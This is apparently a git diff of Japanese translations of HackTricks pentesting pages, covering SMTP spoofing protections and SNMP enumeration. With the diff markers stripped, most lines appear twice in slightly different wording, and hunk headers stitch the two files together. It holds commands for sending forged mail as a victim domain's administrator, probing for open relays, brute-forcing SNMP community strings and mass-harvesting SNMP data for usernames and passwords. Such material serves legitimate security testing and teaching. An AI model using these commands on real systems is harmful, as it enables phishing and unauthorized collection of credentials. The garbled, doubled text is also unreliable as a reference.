組織は、SMTPメッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および**DMARC**を採用することで、無許可のメールが自分たちの名義で送信されるのを防ぎます。
組織は、SMTP メッセージのスプーフィングの容易さから、**SPF**、**DKIM**、および **DMARC** を採用することで、無許可のメールが自分たちの名義で送信されるのを防ぎます。
**これらの対策に関する完全ガイド**は[https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)で入手できます。
**これらの対策に関する完全ガイド**は [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) で入手可能です。
### SPF
> [!CAUTION]
> SPF [は2014年に「非推奨」とされました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com`に**TXTレコード**を作成する代わりに、**同じ構文**を使用して`domain.com`に作成することを意味します。\
> さらに、以前のspfレコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"`のようなものを見つけることは非常に一般的です。
> SPF [は2014年に「非推奨」とされました](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/)。これは、`_spf.domain.com` に **TXT レコード**を作成するのではなく、**同じ構文**を使用して `domain.com` に作成することを意味します。\
> さらに、以前の SPF レコードを再利用するために、`"v=spf1 include:_spf.google.com ~all"` のようなものを見つけることはよくあります。
**送信者ポリシーフレームワーク**SPFは、メール転送エージェントMTAが、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限があるかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信すること許可された**さまざまな「**メカニズム**」が含まれています。
**Sender Policy Framework** (SPF) は、メール転送エージェント (MTA) が、メールを送信しているホストが組織によって定義された承認されたメールサーバーのリストを照会することで、そのホストがメールを送信する権限があるかどうかを確認できるメカニズムです。このリストには、**ドメイン名を代表してメールを送信すること許可された**さまざまな「**メカニズム**」が SPF レコードに含まれています。
#### メカニズム
[Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework)から
[Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework) より
| メカニズム | 説明 |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | 常に一致します。以前のメカニズムで一致しなかったすべてのIPに対して、`-all`のようなデフォルトの結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコードAまたはAAAAがある場合、一致します。 |
| IP4 | 送信者が指定されたIPv4アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が指定されたIPv6アドレス範囲にある場合、一致します。 |
| MX | ドメイン名に送信者のアドレスに解決するMXレコードがある場合、一致しますつまり、メールはドメインの受信メールサーバーの1つから来ます。 |
| PTR | クライアントのアドレスのドメイン名PTRレコードが指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決される場合(前方確認された逆DNS、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 |
| EXISTS | 指定されたドメイン名が任意のアドレスに解決される場合、一致します解決されるアドレスに関係なく。これはめったに使用されません。SPFマクロ言語とともに、DNSBLクエリのようなより複雑な一致を提供します。 |
| ALL | 常に一致します。以前のメカニズムで一致しなかったすべての IP に対して `-all` のようなデフォルト結果に使用されます。 |
| A | ドメイン名に送信者のアドレスに解決できるアドレスレコード (A または AAAA) がある場合、一致します。 |
| IP4 | 送信者が指定された IPv4 アドレス範囲にある場合、一致します。 |
| IP6 | 送信者が指定された IPv6 アドレス範囲にある場合、一致します。 |
| MX | ドメイン名に送信者のアドレスに解決する MX レコードがある場合、一致しますつまり、メールはドメインの受信メールサーバーの1つから来ます。 |
| PTR | クライアントのアドレスのドメイン名 (PTR レコード) が指定されたドメインにあり、そのドメイン名がクライアントのアドレスに解決する場合(前方確認された逆 DNS、一致します。このメカニズムは推奨されず、可能な限り避けるべきです。 |
| EXISTS | 指定されたドメイン名が任意のアドレスに解決る場合、一致します解決されるアドレスに関係なく。これはめったに使用されません。SPF マクロ言語と組み合わせることで、DNSBL クエリのようなより複雑な一致を提供します。 |
| INCLUDE | 別のドメインのポリシーを参照します。そのドメインのポリシーが合格すれば、このメカニズムも合格します。ただし、含まれたポリシーが失敗した場合、処理は続行されます。他のドメインのポリシーに完全に委任するには、リダイレクト拡張を使用する必要があります。 |
| REDIRECT | <p>リダイレクトは、SPFポリシーをホストする別のドメイン名へのポインタであり、複数のドメインが同じSPFポリシーを共有できるようにします。これは、同じメールインフラストラクチャを共有する多数のドメインで作業する際に便利です。</p><p>リダイレクトメカニズムで示されたドメインのSPFポリシーが使用されます。</p> |
| REDIRECT | <p>リダイレクトは、SPF ポリシーをホストする別のドメイン名へのポインタです。これにより、複数のドメインが同じ SPF ポリシーを共有できます。これは、同じメールインフラストラクチャを共有する多数のドメインを扱う際に便利です。</p><p>リダイレクトメカニズムで示されたドメインの SPF ポリシーが使用されます。</p> |
**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきかを示します**。デフォルトでは、**クオリファイア「+」**が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\
通常、**各SPFポリシーの最後に**、**\~all**または**-all**のようなものが記載されています。これは、**送信者がいかなるSPFポリシーにも一致しない場合、メールを信頼できない\~してタグ付けするか、メールを拒否する(-)べきであることを示します。**
**クオリファイア**を特定することも可能で、**メカニズムが一致した場合に何をすべきか**を示します。デフォルトでは、**クオリファイア "+"** が使用されます(したがって、いずれかのメカニズムが一致する場合、それは許可されていることを意味します)。\
通常、各 SPF ポリシーの**最後に**、**\~all** または **-all** のようなものが記載されています。これは、**送信者がいずれの SPF ポリシーにも一致しない場合、メールを信頼できないとタグ付けする\~か、メールを拒否する(-)べきであることを示します。**
#### クオリファイア
ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます
ポリシー内の各メカニズムは、意図された結果を定義するために4つのクオリファイアのいずれかで接頭辞を付けることができます
- **`+`**: PASS結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを仮定し、`+mx``mx`と同等です。
- **`?`**: NEUTRAL結果を表し、NONE特定のポリシーなしと同様に扱われます。
- **`~`**: SOFTFAILを示し、NEUTRALとFAILの中間に位置します。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
- **`-`**: FAILを示し、メールは完全に拒否されるべきであることを示唆します。
- **`+`**: PASS 結果に対応します。デフォルトでは、メカニズムはこのクオリファイアを仮定し、`+mx` `mx` と同等です。
- **`?`**: NEUTRAL 結果を表し、特定のポリシーがない NONE と同様に扱われます。
- **`~`**: SOFTFAIL を示し、NEUTRAL と FAIL の中間の立場を取ります。この結果を満たすメールは通常受け入れられますが、適切にマークされます。
- **`-`**: FAIL を示し、メールは完全に拒否されるべきであることを示唆します。
次の例では、**google.comのSPFポリシー**が示されています。最初のSPFポリシー内に異なるドメインからのSPFポリシーが含まれていることに注意してください
次の例では、**google.com SPF ポリシー**が示されています。最初の SPF ポリシー内に異なるドメインからの SPF ポリシーが含まれていることに注意してください:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
@ -286,7 +286,7 @@ _netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
```
従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在**、**メール**が**有効なSPFレコードのないドメイン**から送信される場合、**自動的に拒否される/信頼されていないとマークされる**可能性が高いです
従来、正しい/任意のSPFレコードを持たないドメイン名を偽装することが可能でした。**現在では**、**有効なSPFレコードのないドメインからの** **メール**は、おそらく**自動的に拒否される/信頼されていないとマークされる**でしょう
ドメインのSPFを確認するには、次のようなオンラインツールを使用できます: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
@ -302,9 +302,9 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
```
### DMARC (ドメインベースのメッセージ認証、報告および適合)
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを概説し、認証失敗への対処方法やメール処理アクションに関する報告をどこに送信するかを示します。
DMARCは、SPFおよびDKIMプロトコルを基にしてメールセキュリティを強化します。特定のドメインからのメールの取り扱いに関するポリシーを定め、認証失敗への対処方法やメール処理アクションに関する報告を送信する場所を含みます。
**DMARCレコードを取得するには、サブドメイン\_dmarcをクエリする必要があります**
```bash
@ -326,24 +326,24 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| -------- | --------------------------------------------- | ------------------------------- |
| v | プロトコルバージョン | v=DMARC1 |
| pct | フィルタリングの対象となるメッセージの割合 | pct=20 |
| ruf | 法医学レポートの報告URI | ruf=mailto:authfail@example.com |
| rua | 集約レポートの報告URI | rua=mailto:aggrep@example.com |
| p | 組織ドメインのポリシー | p=quarantine |
| sp | ODのサブドメインのポリシー | sp=reject |
| adkim | DKIMの整合性モード | adkim=s |
| aspf | SPFの整合性モード | aspf=r |
| ruf | フォレンジックレポートの報告URI | ruf=mailto:authfail@example.com |
| rua | 集約レポートの報告URI | rua=mailto:aggrep@example.com |
| p | 組織ドメインのポリシー | p=quarantine |
| sp | ODのサブドメインのポリシー | sp=reject |
| adkim | DKIMの整合性モード | adkim=s |
| aspf | SPFの整合性モード | aspf=r |
### **サブドメインについてはどうですか?**
**ここから** [**こちら**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
**こちら**から。\
メールを送信する各サブドメインに対して、別々のSPFレコードを持つ必要があります。\
以下は、以前openspf.orgに投稿されたもので、この種の情報にとって素晴らしいリソースでした。
> デーモンの質問: サブドメインについてはどうですか?
>
> pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、demon.co.ukのSPFをテストするために一つ上のレベルに戻るべきですか? いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全ての顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。
> pielovers.demon.co.ukからメールを受け取った場合、pieloversのSPFデータがない場合、1つ上のレベルに戻ってdemon.co.ukのSPFをテストすべきですか いいえ。Demonの各サブドメインは異なる顧客であり、各顧客は独自のポリシーを持っている可能性があります。Demonのポリシーがデフォルトで全顧客に適用されるのは理にかなりません。Demonがそれを望む場合、各サブドメインのためにSPFレコードを設定できます。
>
> したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加するべきです。
> したがって、SPF発行者へのアドバイスは次のとおりです: AまたはMXレコードを持つ各サブドメインまたはホスト名に対してSPFレコードを追加する必要があります。
>
> ワイルドカードAまたはMXレコードを持つサイトは、次の形式のワイルドカードSPFレコードも持つべきです: \* IN TXT "v=spf1 -all"
@ -351,9 +351,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
### **オープンリレー**
メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバー**を使用することで達成されることが多いです。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない**ことです。この理解の欠如は、SMTPサーバーの設定におけるミスを引き起こす可能性があり、これはセキュリティ評価で頻繁に指摘されるリスクです。
メールが送信される際、スパムとしてフラグが立てられないようにすることが重要です。これは、**受信者によって信頼されるリレーサーバーを使用することで達成されることが多い**です。しかし、一般的な課題は、管理者がどの**IP範囲が許可されるべきかを完全に理解していない可能性があることです**。この理解の欠如は、SMTPサーバーの設定におけるミスにつながる可能性があり、これはセキュリティ評価で頻繁に指摘されるリスクです。
特に潜在的または進行中のクライアントとの通信に関して、メール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可すること**です。これは、以下に示すように、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
特に潜在的または進行中のクライアントとの通信に関するメール配信の問題を回避するために、一部の管理者が使用する回避策は、**任意のIPアドレスからの接続を許可することです**。これは、以下に示すように、SMTPサーバーの`mynetworks`パラメータをすべてのIPアドレスを受け入れるように設定することで行われます。
```bash
mynetworks = 0.0.0.0/0
```
@ -363,7 +363,7 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
### **ツール**
- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPFおよびDMARCの設定をチェック**
- [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **SPFおよびDMARCの設定ミスをチェック**
- [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **SPFおよびDMARCの設定を自動的に取得**
### スプーフィングメールを送信
@ -382,8 +382,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
> DKIM Pythonライブラリを使用してキーを解析する際に**エラーが発生した場合**は、以下のものを使用してください。\
> **注意**: これは、何らかの理由でopensslプライベートキーが**dkimによって解析できない**場合に迅速なチェックを行うための簡易的な修正です。
> DKIM Pythonライブラリで**キーの解析中にエラーが発生した場合**は、以下のものを使用してください。\
> **注意**: これは、何らかの理由でopensslプライベートキーが**dkimによって解析できない**場合に迅速なチェックを行うための簡易的な修正です。
>
> ```
> -----BEGIN RSA PRIVATE KEY-----
@ -475,7 +475,7 @@ s.sendmail(sender, [destination], msg_data)
### **詳細情報**
**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で確認してください。**
**これらの保護に関する詳細情報は** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) **で確認できます。**
### **その他のフィッシング指標**
@ -484,7 +484,7 @@ s.sendmail(sender, [destination], msg_data)
- リンク操作技術
- 疑わしい(一般的でない)添付ファイル
- 壊れたメールコンテンツ
- メールヘッダーの値と異なる値の使用
- メールヘッダーと異なる値の使用
- 有効で信頼できるSSL証明書の存在
- ウェブコンテンツフィルタリングサイトへのページの提出
@ -520,7 +520,7 @@ Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2:
Name: Banner Grab

View File

@ -14,21 +14,21 @@ PORT STATE SERVICE REASON VERSION
### MIB
SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**ユニークアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキストフォーマットで記述されています。**MIBにはデータは含まれていません**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベースMIB**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子OID`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
MIBファイルは、`抽象構文表記法1ASN.1`に基づくASCIIテキスト形式で記述されています。**MIBにはデータは含まれていません**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
### OIDs
**オブジェクト識別子OIDs**は重要な役割を果たします。これらのユニークな識別子は、**管理情報ベースMIB**内のオブジェクトを管理するために設計されています。
**オブジェクト識別子OIDs**は重要な役割を果たします。これらの一意の識別子は、**管理情報ベースMIB**内のオブジェクトを管理するために設計されています。
MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準の枠組みが確立されます。
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準にわたるさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`: [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)。\
いくつかの**よく知られたOID**があります。例えば、[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のOIDは、MIB-2で定義されたシンプルネットワーク管理プロトコルSNMP変数を参照しています。そして、このOIDから**保留中のOID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
いくつかの**よく知られたOID**があります。例えば、[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のOIDは、MIB-2で定義されたシンプルネットワーク管理プロトコルSNMP変数を参照しています。また、このOIDから**保留中のOID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
### **OIDの例**
@ -36,7 +36,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
このアドレスの内訳は以下の通りです。
このアドレスの内訳は次のとおりです。
- 1 これはISOと呼ばれ、これがOIDであることを示します。すべてのOIDが「1」で始まる理由です。
- 3 これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。
@ -50,7 +50,7 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
次の数のセットに進みます。
- 1452 このデバイスを製造した組織の名前を示します。
- 1 デバイスのタイプを説明します。この場合、アラームクロックです。
- 1 デバイスのタイプを説明します。この場合、アラーム時計です。
- 2 このデバイスがリモートターミナルユニットであることを示します。
残りの値はデバイスに関する特定の情報を提供します。
@ -65,23 +65,23 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
### SNMPバージョン
SNMPには2つの重要なバージョンがあります
SNMPには2つの重要なバージョンがあります
- **SNMPv1**: 主なもので、依然として最も頻繁に使用されており、**認証は文字列**(コミュニティ文字列)に基づいており、**平文**で送信されます(すべての情報が平文で送信されます)。**バージョン2および2c**も**平文でトラフィックを送信**し、**コミュニティ文字列を認証**として使用します。
- **SNMPv3**: より良い**認証**形式を使用し、情報は**暗号化**されて送信されます(**辞書攻撃**は実行可能ですが、SNMPv1およびv2よりも正しいクレデンシャルを見つけるのがはるかに難しくなります)。
- **SNMPv1**: 主なもので、最も頻繁に使用されており、**認証は文字列**(コミュニティ文字列)に基づいており、**平文**で送信されます(すべての情報が平文で送信されます)。**バージョン2および2c**も**平文でトラフィックを送信**し、**コミュニティ文字列を認証**として使用します。
- **SNMPv3**: より良い**認証**形式を使用し、情報は**暗号化**されて送信されます(**辞書攻撃**は実行可能ですが、SNMPv1およびv2よりも正しい資格情報を見つけるのがはるかに難しくなります)。
### コミュニティ文字列
前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cではコミュニティ文字列を知っている必要があり、バージョン3では資格情報が必要です。**\
**2種類のコミュニティ文字列**があります:
コミュニティ文字列には**2種類**があります:
- **`public`** 主に**読み取り専用**機能
- **`private`** **読み書き**一般
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります**\
オブジェクトに**書き込もうとすると、**`noSuchName`または`readOnly`エラー**が返されます\*\*.\*\*
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります**\
オブジェクトに**書き込もうとすると、`noSuchName`または`readOnly`エラーが返されます\*\*。\*\*
バージョン1および2/2cでは、**悪い**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。
バージョン1および2/2cでは、**不正な**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。
## ポート
@ -93,7 +93,7 @@ SNMPには2つの重要なバージョンがあります
## ブルートフォースコミュニティ文字列v1およびv2c
**コミュニティ文字列を推測する**ために、辞書攻撃を実行することができます。[ここでSNMPに対するブルートフォース攻撃を実行するさまざまな方法を確認してください](../../generic-hacking/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。
**コミュニティ文字列を推測するために**辞書攻撃を実行することができます。[ここでSNMPに対するブルートフォース攻撃を実行するさまざまな方法を確認してください](../../generic-hacking/brute-force.md#snmp)。よく使用されるコミュニティ文字列は`public`です。
## SNMPの列挙
@ -124,86 +124,86 @@ braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
```
**SNMP**はホストに関する多くの情報を持っており、興味深いものには以下が含まれます: **ネットワークインターフェース**IPv4および**IPv6**アドレス)、ユーザー名、稼働時間、サーバー/OSバージョン、そして**プロセス**
**SNMP** にはホストに関する多くの情報が含まれており、興味深いものには以下が含まれます: **ネットワークインターフェース** (IPv4 および **IPv6** アドレス)、ユーザー名、稼働時間、サーバー/OS バージョン、および **プロセス**
**実行中**(パスワードを含む可能性があります)....
**実行中** (パスワードを含む可能性があります)....
### **危険な設定**
ネットワーク管理の領域では、特定の構成パラメータが包括的な監視と制御を確保するための鍵となります。
ネットワーク管理の領域では、特定の構成パラメータが包括的な監視と制御を確保するための鍵となります。
### アクセス設定
**完全OIDツリー**へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です
**完全OID ツリー** へのアクセスを可能にする2つの主要な設定があります。これはネットワーク管理において重要な要素です:
1. **`rwuser noauth`**は、認証なしでOIDツリーへの完全アクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。
2. より具体的な制御のために、以下を使用してアクセスを付与できます
- **`rwcommunity`**は**IPv4**アドレス用、そして
- **`rwcommunity6`**は**IPv6**アドレス用です。
1. **`rwuser noauth`** は、認証なしで OID ツリーへの完全アクセスを許可するように設定されています。この設定は簡単で、制限のないアクセスを可能にします。
2. より具体的な制御のために、以下を使用してアクセスを付与できます:
- **`rwcommunity`** **IPv4** アドレス用、そして
- **`rwcommunity6`** **IPv6** アドレス用です。
両方のコマンドは**コミュニティ文字列**と関連するIPアドレスを必要とし、リクエストの起源に関係なく完全なアクセスを提供します。
両方のコマンドは **コミュニティ文字列** と関連する IP アドレスを必要とし、リクエストの起源に関係なく完全なアクセスを提供します。
### Microsoft WindowsのSNMPパラメータ
### Microsoft Windows SNMP パラメータ
一連の**管理情報ベースMIB値**が、SNMPを通じてWindowsシステムのさまざまな側面を監視するために利用されます
一連の **管理情報ベース (MIB) 値** が、SNMP を通じて Windows システムのさまざまな側面を監視するために利用されます:
- **システムプロセス**`1.3.6.1.2.1.25.1.6.0`を介してアクセスされ、このパラメータはシステム内のアクティブなプロセスの監視を可能にします。
- **実行中のプログラム**`1.3.6.1.2.1.25.4.2.1.2`の値は、現在実行中のプログラムを追跡するために指定されています。
- **プロセスパス**プロセスがどこから実行されているかを特定するために、`1.3.6.1.2.1.25.4.2.1.4`のMIB値が使用されます。
- **ストレージユニット**:ストレージユニットの監視は`1.3.6.1.2.1.25.2.3.1.4`によって促進されます。
- **ソフトウェア名**システムにインストールされているソフトウェアを特定するために、`1.3.6.1.2.1.25.6.3.1.2`が使用されます。
- **ユーザーアカウント**`1.3.6.1.4.1.77.1.2.25`の値は、ユーザーアカウントの追跡を可能にします。
- **TCPローカルポート**:最後に、`1.3.6.1.2.1.6.13.1.3`はTCPローカルポートの監視に指定されており、アクティブなネットワーク接続に関する洞察を提供します。
- **システムプロセス**: `1.3.6.1.2.1.25.1.6.0` を介してアクセスされ、このパラメータはシステム内のアクティブなプロセスの監視を可能にします。
- **実行中のプログラム**: `1.3.6.1.2.1.25.4.2.1.2` の値は、現在実行中のプログラムを追跡するために指定されています。
- **プロセスパス**: プロセスがどこから実行されているかを特定するために、`1.3.6.1.2.1.25.4.2.1.4` MIB 値が使用されます。
- **ストレージユニット**: ストレージユニットの監視は `1.3.6.1.2.1.25.2.3.1.4` によって促進されます。
- **ソフトウェア名**: システムにインストールされているソフトウェアを特定するために、`1.3.6.1.2.1.25.6.3.1.2` が使用されます。
- **ユーザーアカウント**: `1.3.6.1.4.1.77.1.2.25` の値は、ユーザーアカウントの追跡を可能にします。
- **TCP ローカルポート**: 最後に、`1.3.6.1.2.1.6.13.1.3` は TCP ローカルポートの監視に指定されており、アクティブなネットワーク接続に関する洞察を提供します。
### Cisco
Cisco機器を使用している場合は、このページを参照してください
Cisco 機器を使用している場合は、このページを参照してください:
{{#ref}}
cisco-snmp.md
{{#endref}}
## SNMPからRCEへ
## SNMP から RCE
SNMPサービス内で**値を書き込む**ことを許可する**文字列**を持っている場合、それを悪用して**コマンドを実行**できるかもしれません:
SNMP サービス内で **値を書き込む** ことを許可する **文字列** を持っている場合、それを悪用して **コマンドを実行** できる可能性があります:
{{#ref}}
snmp-rce.md
{{#endref}}
## **大規模SNMP**
## **大規模 SNMP**
[Braa](https://github.com/mteg/braa)は大規模SNMPスキャナーです。このようなツールの意図された使用法は、もちろんSNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、そして単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、非常に速くスキャンを行います。
[Braa](https://github.com/mteg/braa) は大規模 SNMP スキャナーです。このようなツールの意図された使用法は、もちろん SNMP クエリを行うことですが、net-snmp snmpwalk とは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、非常に速くスキャンを行います。
Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
Braa は独自の SNMP スタックを実装しているため、net-snmp のような SNMP ライブラリは必要ありません。
**構文**braa \[コミュニティ文字列\]@\[\[SNMPサーバーのIP\]:\[iso id\]
**構文:** braa \[Community-string]@\[IP of SNMP server]:\[iso id]
```bash
braa ignite123@192.168.1.125:.1.3.6.*
```
これは手動で処理できない多くのMBの情報を抽出できます。
これにより、手動で処理できない大量の情報を抽出できます。
では、最も興味深い情報を探してみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/):
### **デバイス**
プロセスは、各ファイルから**sysDesc MIBデータ**1.3.6.1.2.1.1.1.0)を抽出してデバイスを特定することから始まります。これは**grepコマンド**を使用して実行されます:
プロセスは、各ファイルから**sysDesc MIBデータ**1.3.6.1.2.1.1.1.0)を抽出してデバイスを特定することから始まります。これは**grepコマンド**を使用して実行されます:
```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp
```
### **プライベート文字列の特定**
重要なステップは、特にCisco IOSルーターで使用される**プライベートコミュニティ文字列**を特定することです。この文字列は、ルーターから**実行中の設定**を抽出することを可能にします。特定は、**grepコマンド**を使用して「trap」という単語SNMPトラップデータを分析することに依存することが多いです。
重要なステップは、特にCisco IOSルーターで使用される**プライベートコミュニティ文字列**を特定することです。この文字列は、ルーターから**実行中の設定**を抽出することを可能にします。特定は、**grepコマンド**を使用して「trap」という単語を含むSNMPトラップデータを分析することに依存することが多いです。
```bash
grep -i "trap" *.snmp
```
### **ユーザー名/パスワード**
MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これにはユーザー名として入力されたパスワードが含まれる可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます:
